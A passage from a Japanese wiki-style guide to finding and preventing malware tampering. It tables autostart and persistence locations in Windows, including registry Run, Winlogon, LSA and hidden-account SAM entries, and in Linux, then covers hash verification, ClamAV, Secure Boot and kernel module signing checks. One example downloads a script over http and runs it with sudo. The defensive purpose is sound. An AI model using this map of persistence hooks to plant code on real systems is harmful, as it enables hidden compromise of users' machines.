| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
